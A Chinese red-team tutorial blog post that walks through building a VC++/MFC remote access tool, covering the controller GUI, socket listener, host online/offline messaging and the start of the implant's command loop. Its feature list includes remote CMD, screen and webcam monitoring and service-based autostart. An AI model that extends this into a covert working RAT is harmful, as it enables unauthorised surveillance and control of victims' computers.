红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写

这篇具有很好参考价值的文章主要介绍了红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

[1]远控介绍及界面编写

1.远程控制软件演示及教程简要说明

  • 主程序

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 可执行程序 服务端生成器

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 主机上线

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 服务端程序 和 服务

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 文件管理

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • CMD

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 进程

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

  • 服务自启动

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

 服务启动  ---- 注销 模式 可以自动启动服务 上线 
  • 编写前 功能了解分析
  • 界面 运行模式

主程序

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

主对话框
操作菜单
列表框

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

配置信息

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

多线程操作

非模式对话框

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

2.环境:

操作系统:Windows 7
编译器:VS2008

3.界面编程

https://www.cctry.com/

新建项目

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

使用静态库MFC

为了在没有 安装运行库的 主机上使用
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

删除默认控件

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

设置项目

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

去除兼容问题

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

调出系统菜单

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

最大化最小化

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

可拖拽border

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

添加资源 菜单

client.rc 中添加资源
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
文件 退出
选项 配置
关于 关于我们

关联菜单 ID

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

导入资源

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

添加菜单 信息


相关代码
.h  头文件中创建

private:
	CToolBar m_toolbar;    //工具条类
	CImageList m_imagelist;    // 图像列表
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;



public:
    CListCtrl m_list;
  	

菜单项 + 图标
菜单栏
列表框 + 图标
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

cpp中添加 UpdateMain代码

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
五个重载方法
第一个 注意 参数 无符号整形
查询 MSDN

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
· 位图对象
· 颜色信息

宏 定义 id号 对应 资源
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
rc的代码
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc· id 号
· 资源类型
· 具体路径


void 你的Dlg::UpdateMain(int port)
{

// 创建图像列表
    m_imagelist.Create(32,32,ILC_COLOR24|ILC_MASK,1,1);
    CBitmap bmp;
//  创建位图对象
    for(int i=0;i<8;i++)
    {
    // 通过 id  依次导入位图 
        bmp.LoadBitmapW(IDB_BITMAP1+i);
    // 将真彩色255 位图  添加进 image列表
        m_imagelist.Add(&bmp,RGB(255,255,255));
        bmp.DeleteObject();
        //  释放资源
    }


/*
    m_bmp[0].LoadBitmap(IDB_MENU_EXIT);
    m_bmp[1].LoadBitmap(IDB_MENU_SETTING);
    m_bmp[2].LoadBitmap(IDB_MENU_ABOUT);

    m_subbmp[0].LoadBitmapW(IDB_MENU_AGENT);
    m_subbmp[1].LoadBitmapW(IDB_MENU_SHUTDOWN);
    m_subbmp[2].LoadBitmapW(IDB_MENU_RESTART);
    m_subbmp[3].LoadBitmapW(IDB_MENU_UPDATE);
    m_subbmp[4].LoadBitmapW(IDB_MENU_HTTP);
    m_subbmp[5].LoadBitmapW(IDB_MENU_RUN);

    GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[0], &m_bmp[0]);
    GetMenu()->GetSubMenu(1)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[1], &m_bmp[1]);
    GetMenu()->GetSubMenu(2)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[2], &m_bmp[2]);
*/


//  工具栏的设定
//  包含九个元素[按钮ID]的  无符号整形  常量 数组     0为竖线
    const UINT t[9] = {1001,1002,1003,1004,1005,1006,0,1007,1008};
    // 用于单击事件的触发

//  指向this 指针  主对话框
    m_toolbar.CreateEx(this);
//  id数组  数量
    m_toolbar.SetButtons(t,9);
    //  按钮  图标 设置大小
    m_toolbar.SetSizes(CSize(60,56),CSize(24,24));
    m_toolbar.SetButtonText(0,_T("文件管理"));
    m_toolbar.SetButtonText(1,_T("屏幕监控"));
    m_toolbar.SetButtonText(2,_T("超级终端"));
    m_toolbar.SetButtonText(3,_T("进程管理"));
    m_toolbar.SetButtonText(4,_T("视频监控"));
    m_toolbar.SetButtonText(5,_T("卸载主机"));
    m_toolbar.SetButtonText(7,_T("程序设置"));
    m_toolbar.SetButtonText(8,_T("关于软件"));
    //关联  imagelist   GetToolBarCtrl()获取指针   设置图像列表
    m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);
    
    


//  状态栏设置

    BOOL hbar = m_statusbar.Create(this);
    UINT b[2]={1009,1010};
    hbar = m_statusbar.SetIndicators(b,2);
    // 关联状态栏    id   按钮id   风格   长度
    m_statusbar.SetPaneInfo(0,b[0],SBPS_NORMAL,400);
    m_statusbar.SetPaneInfo(1,b[1],SBPS_NORMAL,180);
    CString ListemPort;
    ListemPort.Format(_T("监听端口:%d"),port);
    m_statusbar.SetPaneText(0,ListemPort);
    m_statusbar.SetPaneText(1,_T("在线主机:0 台"));
    // 重设  工具条 
    RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);

/*
    m_mainicon.Create(16,16,ILC_COLOR24|ILC_MASK,1,0);
    m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_USER)));
    m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_CAM)));
    m_list.SetImageList(&m_mainicon,LVSIL_SMALL);
    */


//  重新 设置列表框  拓展风格    整行选中 报表  复选框
    m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES);
    // 插入条目
    m_list.InsertColumn(0,_T("地理位置"),LVCFMT_LEFT,160);
    m_list.InsertColumn(1,_T("IP地址"),LVCFMT_LEFT,110);
    m_list.InsertColumn(2,_T("操作系统"),LVCFMT_LEFT,90);
    m_list.InsertColumn(3,_T("代理状态"),LVCFMT_LEFT,60);
    m_list.InsertColumn(4,_T("服务端版本号"),LVCFMT_LEFT,100);

    GetClientRect(&m_rect);
}


有些东西需要注释掉

添加列表框

程序框最大化
留出 工具栏菜单栏状态栏地方
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

列表栏View 改成报表

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

添加控件变量

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

注意update函数 红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

主函数初始化端口

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

类视图重载函数

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

BOOL CExecN0vvDlg::PreTranslateMessage(MSG* pMsg)
{
	 
    // TODO: 在此添加专用代码和/或调用基类
    if(pMsg->message==WM_KEYDOWN)
    {
        int nVirtKey = (int)pMsg->wParam;
        if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
        {
            return TRUE;
        }
    }
	return CDialog::PreTranslateMessage(pMsg);
}

判断 传入的无符号整形的参数 是否为 WM_KEYDOWN
按键消息
等于回车 或者 ESC 截断

退出程序

void CExecN0vvDlg::OnClose()
{
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    int t = MessageBoxW(_T("确定要退出程序吗?"),_T("提示"),MB_YESNO|MB_ICONINFORMATION);
    if(t == IDYES)
    {
        //CloseAllSocket();
        ::closesocket(s);
        m_Mysock.Clean();
    }
    else
    {
        return;
    }
    CDialog::OnClose();
}


 

private:
	CToolBar m_toolbar;
	CImageList m_imagelist;
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;
	CRect m_rect;
	bool InitSocket();
	SOCKET s;
	static DWORD WINAPI OninitSocket(LPVOID self);
	void AddHost(SOCKET sock,SOCKADDR_IN addr);
	void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);

	LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
    LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);
	void ShowOnLine();


	CMysocket m_Mysock;


public:
    CListCtrl m_list;
	virtual BOOL PreTranslateMessage(MSG* pMsg);
	afx_msg void OnSize(UINT nType, int cx, int cy);

	afx_msg void OnClose();
};

[2]界面编写及上线

1.课前回顾

#pragma comment(lib,“ws2_32.lib”)

unicode编码 字符串

_T 宏

多字节编码 ----字符集 知识点
项目属性

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

2.界面编程(下)

对话框

对话框资源


头文件 添加
private:
	CToolBar m_toolbar;
	CImageList m_imagelist;
	CStatusBar m_statusbar;
	CBitmap m_subbmp[6];
	CImageList m_mainicon;
	void UpdateMain(int port);

	UINT m_port;
	UINT m_max;
	UINT m_Sound;
	CRect m_rect;   //  矩形变量



红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

重载消息函数

查看声明

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

 

Dlgcpp里


//  当客户端大小发生改变   计算差值  客户端内部控件 同步改变
void CExecN0vvDlg::OnSize(UINT nType, int cx, int cy)
{

//  基类 对对话框改变
	 CDialog::OnSize(nType, cx, cy);
// 类型等于最小化的 宏
    if(nType == SIZE_MINIMIZED)
    {
        return;
    }
    // TODO: 在此处添加消息处理程序代码
    CWnd *pWnd;  // 窗口类指针
    pWnd = GetDlgItem(IDC_LIST1);     //获取控件句柄  条目id

// 控件大小操作
    if(pWnd)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
    {
        CRect rect,rect_l;   //获取控件变化前大小  eg  50x50
        GetClientRect(&rect_l);   // 客户区  控件大小
        pWnd->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.right = cx;  // 把控件大小变换

		//rect_l 变化前   
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd->MoveWindow(rect);//设置控件大小
        
        //  重设状态栏  置底
        RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);
    }
    /*
    else
    {
        delete pWnd;
    }
    */
    GetClientRect(&m_rect);
    //  还是记录初始值

	 
}


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

更改对话框同步更改

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
初始化时候调用了 updatemain
初始化程序界面
获取客户端程序客户区 界面大小
存放在 m_rect

3.服务端上线,下线,以及客户端的资源销毁(上)

列表控件

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

常规对应 socket指针
我们对应一个类指针

启动监听线程
不会发生阻塞状态

添加socket 变量

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

添加 socket 消息

头文件定义 InitSocket
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc


Dlgcpp 加入 


bool C你的Dlg::InitSocket() //初始化SOCKET
{
    WSADATA WSAData;  // 初始化
	WSAStartup(MAKEWORD(2,2), &WSAData);
	SOCKADDR_IN saddr;  //  声明结构体


	// 结构体操作 初始化 
    s=::socket(AF_INET,SOCK_STREAM,0);
	if(s==SOCKET_ERROR)
	{
		MessageBox(_T("创建连接失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}
	
// 结构体赋值
	saddr.sin_family=AF_INET;
	saddr.sin_addr.S_un.S_addr=INADDR_ANY;
	saddr.sin_port=htons(m_port);
	
	int nRet;
    nRet=::bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
	if(nRet == SOCKET_ERROR)
	{
		MessageBox(_T("绑定端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}


// 最大上线主机数量  m_max   Wint类型
	nRet=listen(s,m_max);
	if(nRet == SOCKET_ERROR)
	{
		MessageBox(_T("监听端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
        return false;
	}

	while(1)
	{
		SOCKET SerSock;
		SOCKADDR_IN Seraddr;  // 结构体
		int Seraddrsize=sizeof(Seraddr);
		
		// 接受连接
		SerSock = accept(s,(sockaddr *)&Seraddr,&Seraddrsize);
		if (SerSock == INVALID_SOCKET)
        {
			continue;
        }
        //  添加主机
        AddHost(SerSock,Seraddr);
	}
    return true;
}



syc系列 winSocket I/O模型

填补config信息

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

创建线程函数 并运行

为了适配多线程

防止上面的循环死锁 堵塞
所以把初始化操作封装到一个函数内


Dlgcpp 



//  空指针  传递了一个 当前类的 this指针
DWORD WINAPI C你的Dlg::OninitSocket(LPVOID self) //初始化Socket线程
{

// 强制转换
    C你的Dlg* t = (C你的Dlg*)self;
    t->InitSocket();
    return 0;
}





头文件静态声明


static DWORD WINAPI OninitSocket(LPVOID self);


红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

关闭句柄

添加Addhost



void C你的Dlg::AddHost(SOCKET sock,SOCKADDR_IN addr) //添加主机函数
{
    GetNewItemData(sock,addr);
    //  每一个主机节点都是一个类的指针  新申请一个类指针
    return;
}



头文件声明
void AddHost(SOCKET sock,SOCKADDR_IN addr);

添加 getItemData


void C你的Dlg::GetNewItemData(SOCKET sock,SOCKADDR_IN addr) //获取新的条目数据
{


//   条目信息类  指针  并判断 id是否重复
    CItemData *item;
    int id;  //声明新的id
    int Count = m_list.GetItemCount();
    if(Count == 0)
    {
        id = 0;
    }
    else
    {
        id = 0;
        for(int i=0;i<Count;i++)
        {
            item = (CItemData*)m_list.GetItemData(i);
            if(item->m_id == id)  // 判断是否为这个 id
            {
                i = 0;
                id = id + 1;
                continue;
            }
        }
    }
    item = NULL;
    item = new CItemData(id,sock,&addr,this->m_hWnd);
    // 声明一个 条目类
    item->Run();
    // 最后调用了 run这个函数
}





头文件声明
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);

创建列表节点类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
头文件中调用这个类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

ItemData编写

构造函数


cpp 方法   条目信息

CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
    this->m_id = id;  // 上线主机id号  删除操作
    this->m_sock = sock;   // 消息传递   SOCKADDR_IN *addr  对方ip获取操作
    this->m_hWnd = m_hWnd;  //  获取父类指针
    char *csIP = inet_ntoa(addr->sin_addr);  // inet_ntoa 获取ip addr结构体
    m_IP.Format(_T("%s"),_T("127.0.0.1"));
    m_Address.Format(_T("未知"));
    if(m_Address.IsEmpty())  // 地理位置信息
    {
        m_Address.Format(_T("未知"));
    } 
}

 //m_IP.Format(_T("%s"),m_str.CharToCString(csIP));
 //m_Address = QQ.IP2Add(m_IP);
 
 


头文件

#pragma once

class CItemData
{
public:
	CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd);
	~CItemData(void);
	UINT m_id;
	void Run();
	SOCKET GetSocket();
    CString m_IP;
    CString m_Address;
    CString m_OS;
    CString m_Ver;  // 操作系统版本
    bool Cam;   //  摄像头
		

// 私有成员变量
private: 


	SOCKET m_sock; 
	HWND m_hWnd;
	static DWORD WINAPI OnListen(LPVOID lp);
	void OnBeginListen();
};

 

类成员监听线程

DWORD WINAPI CItemData::OnListen(LPVOID lp)
{
    CItemData* t = (CItemData*)lp;
    t->OnBeginListen();  // 调用监听线程
    return 0;
}

运行函数

用多线程手法来运行 监听线程


void CItemData::Run()
{
    ::CloseHandle(CreateThread(0,0,OnListen,(LPVOID)this,0,0));
}

监听线程

监听远程主机信息 操作

发送信息等等




void CItemData::OnBeginListen() //等待完善
{
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

[3]客户端与服务端连接

OnBeginListen 函数

远程主机节点信息条目

前情回顾

主函数->初始化->创建线程->while循环监听->主机上线->itemrun->创建远程信息监听线程
(获取操作系统,磁盘信息)

void CItemData::OnBeginListen() //等待完善
{
	    int nRet;  // socket 是否发送成功
    MSGINFO msg;     // 接受远程主机发送过来的信息 的结构体   双向
    memset(&msg,0,sizeof(MSGINFO));  // 初始化 重置0
    msg.Msg_id = SYSINFO;
    nRet = m_Mysocket.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));  // 操作类
    // send 成员方法  发送连接
    if(nRet == SOCKET_ERROR)
    {
        MessageBox(_T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);
    }
    memset(&msg,0,sizeof(MSGINFO));
    while(true)   // 不断获取远程客户端发送来的信息
    {
    //  结构体格式发送            socket值   缓存区字符(指针强制转换)     大小
        nRet = m_Mysocket.RecvCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
        if(nRet == 0)
        {
			if(WSAGetLastError()==WSAEWOULDBLOCK)  //WSAEWOULDBLOCK的错误,则表示要发生阻塞了
			{
				Sleep(50);
				continue;   //进行下次循环
			}
			else
			{
                //接收消息失败,发送下线通知
                ::closesocket(m_sock);
                ::SendMessageW(this->m_hWnd,ID_OFFLINE,this->m_id,0);  //  发送给主窗口
                // itemdata 的成员  m_hWnd  获取 类的指针
                //       窗体  消息  高字节  低字节   下线主机的id值   0
				return;
			}
		}
        else
        {
            switch(msg.Msg_id)   //  消息的判断
            {
            case SYSINFO:  // 获取主机信息操作
                {  // 上线处理
                    SYSTEMINFO systeminfo;
                    // 初始化
                    memset(&systeminfo,0,sizeof(SYSTEMINFO));
                    memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
                    GetSysVer(systeminfo);
                    ::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
                }
                break;
             
            
            }
        }
    }
}

远控软件 的 消息传递 - 结构体

消息 类别id、内容

typedef struct tagMSGINFO  
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO;



#define SYSINFO  0x01

Common头文件新建项

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

结构体宏定义

#pragma once
#include "stdafx.h"
#define SYSINFO  0x01


//  两个消息  上线  下线信息
#define ID_ONLINE WM_USER+1  
#define ID_OFFLINE WM_USER+2

typedef struct tagMSGINFO //传输消息结构体
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO;

typedef struct tagSYSTEMINFO //上线信息
{
    int os;
    bool Cam; //摄像头
    double ver;
}SYSTEMINFO;

m_Mysocket C++类的编写

添加C++类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

头文件

public:
    CMySocket(void);
    ~CMySocket(void);
    void Clean();
    int RecvCommand(SOCKET socket,char* buf,int bytes);
    int SendCommand(SOCKET socket,const char* buf,int bytes);
};

源文件



int CMySocket::SendCommand(SOCKET socket,const char* buf,int bytes)
{

// char 的指针 
    const char *b = buf;
	while(bytes > 0)    // 保证完全发送
	{ 
		int r = send(socket,b,bytes,0);   // 用api发送
		if(r < 0)   // 发送出错
		{ 
			return r; 
		} 
		else if(r == 0)  // 成功
		{
			break;
		} 
		bytes -= r; 
		b += r; 
	} 
	return b - (char*)buf;
}

int CMySocket::RecvCommand(SOCKET socket,char* buf,int bytes)
{
    char *b = (char*)buf;
    while(bytes > 0)
    {
        int r = recv(socket,b,bytes,0);
        if(r < 0)
        {
            return 0;
        }
        else if(r == 0)
        {
            break;
        }
        bytes = bytes - r;
        b = b + r;
    }
    return b - (char*)buf;
}

void CMySocket::Clean()
{
    ::WSACleanup();   //  销毁 WSA 调用
}

itemData调用

头文件引入

#include "MySocket.h"
#include "Common.h"

private:
	static DWORD WINAPI OnListen(LPVOID lp);  // 生存周期比较长 静态
	void GetSysVer(SYSTEMINFO sys);
	CMySocket m_Mysocket;   // 引入

源文件引入

void CItemData::GetSysVer(SYSTEMINFO sys)
{
    this->Cam = sys.Cam;
    this->m_Ver.Format(_T("%0.2lf 测试版"),sys.ver);
    switch(sys.os)
    {
    case 4:
        {
            this->m_OS.Format(_T("Windows 7"));
        }
        break;
    case 3:
        {
            this->m_OS.Format(_T("Windows 2003"));
        }
        break;
    case 2:
        {
            this->m_OS.Format(_T("Windows Vista"));
        }
        break;
    case 1:
        {
            this->m_OS.Format(_T("Windows XP"));
        }
        break;
    case 0:
        {
            this->m_OS.Format(_T("Windows 2000"));
        }
        break;
    default:
        {
            this->m_OS.Format(_T("未知系统版本"));
        }
    }
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

继承

class CItemData : public CDialog
也可以添加类的时候 写上基类

 MessageBox( _T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);

消息传递函数

将结构体传递到窗体

上线信息

LRESULT C你的Dlg::OnAddHost(WPARAM wparam,LPARAM lparam) //主机上线消息体
{
    CItemData *t = (CItemData*)wparam;  // 高字节强制转换成类指针
    int i = m_list.GetItemCount();
    m_list.InsertItem(i,t->m_Address,0);
    m_list.SetItemText(i,1,t->m_IP);
    m_list.SetItemText(i,2,t->m_OS);
    m_list.SetItemText(i,3,_T("未开启"));
    m_list.SetItemText(i,4,t->m_Ver);
    m_list.SetItemData(i,(DWORD)t);  //  指针保存
    ShowOnLine();
    if(m_Sound == 1)    // 初始化的值
    {
        PlaySoundW(_T("Sound\\online.wav"),0,SND_FILENAME|SND_ASYNC);
    }
    return 0;
}

下线

LRESULT C你的Dlg::OnOffLine(WPARAM wparam,LPARAM lparam) //主机下线消息体
{
    CItemData* t;
    for(int i=0;i<m_list.GetItemCount();i++)
    {
        t = (CItemData*)m_list.GetItemData(i);  // 获取类的指针  id 号强转
        if(t->m_id == (int)wparam)   //  比较
        {
            ::closesocket(t->GetSocket());
            delete t;  //  防止资源泄漏
            m_list.DeleteItem(i);  
        }
    }
    ShowOnLine();     
    if(m_Sound == 1)
    {
        PlaySoundW(_T("Sound\\offline.wav"),0,SND_FILENAME|SND_ASYNC);
    }
    return 0;
}

使用消息宏

    //主机消息
    ON_MESSAGE(ID_ONLINE,OnAddHost)
    ON_MESSAGE(ID_OFFLINE,OnOffLine)

声明消息处理函数

头文件中

private:
   
    LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
    LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);  // 长指针
    void ShowOnLine();

ShowOnLine()

更新底部状态栏的数量

void  C你的Dlg::ShowOnLine() //设置在线主机
{
    int c=m_list.GetItemCount();
    CString online;
    TCHAR* szText;
    online.Format(_T("在线主机:%d 台"),c);
    szText = online.GetBuffer(online.GetLength());
    // 状态栏类   重设消息值  
    ::SendMessageW(m_statusbar, SB_SETTEXTW, (WPARAM)1, (LPARAM)szText);
    online.ReleaseBuffer();
    //  释放缓冲区
}

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

GetSocket()

SOCKET CItemData::GetSocket()
{
    return this->m_sock;
}



SOCKET GetSocket();

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

PlaySoundW

#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

[4]客户端与服务端连接

服务端编写

新建工程

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc
红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


void Server();

void Server()
{
    CThreadMain Thread_Main;  // 主线程类  对象
    Thread_Main.GetInfo(); //获取配置信息
    /*if(Auto[1] == '1')
    {
        wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);
    }*/
  // 增加自启动  服务名
    while(true)
    {
        if(Thread_Main.RunFlag == false)
        {
            break;
        }
        SOCKET sock;
        sock = Thread_Main.Run();
        Thread_Main.Command(sock);
    }
}

int _tmain(int argc, _TCHAR* argv[])
{
	Server();
	return 0;
}


创建主线程类

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写,c++,c语言,mfc

获取配置信息

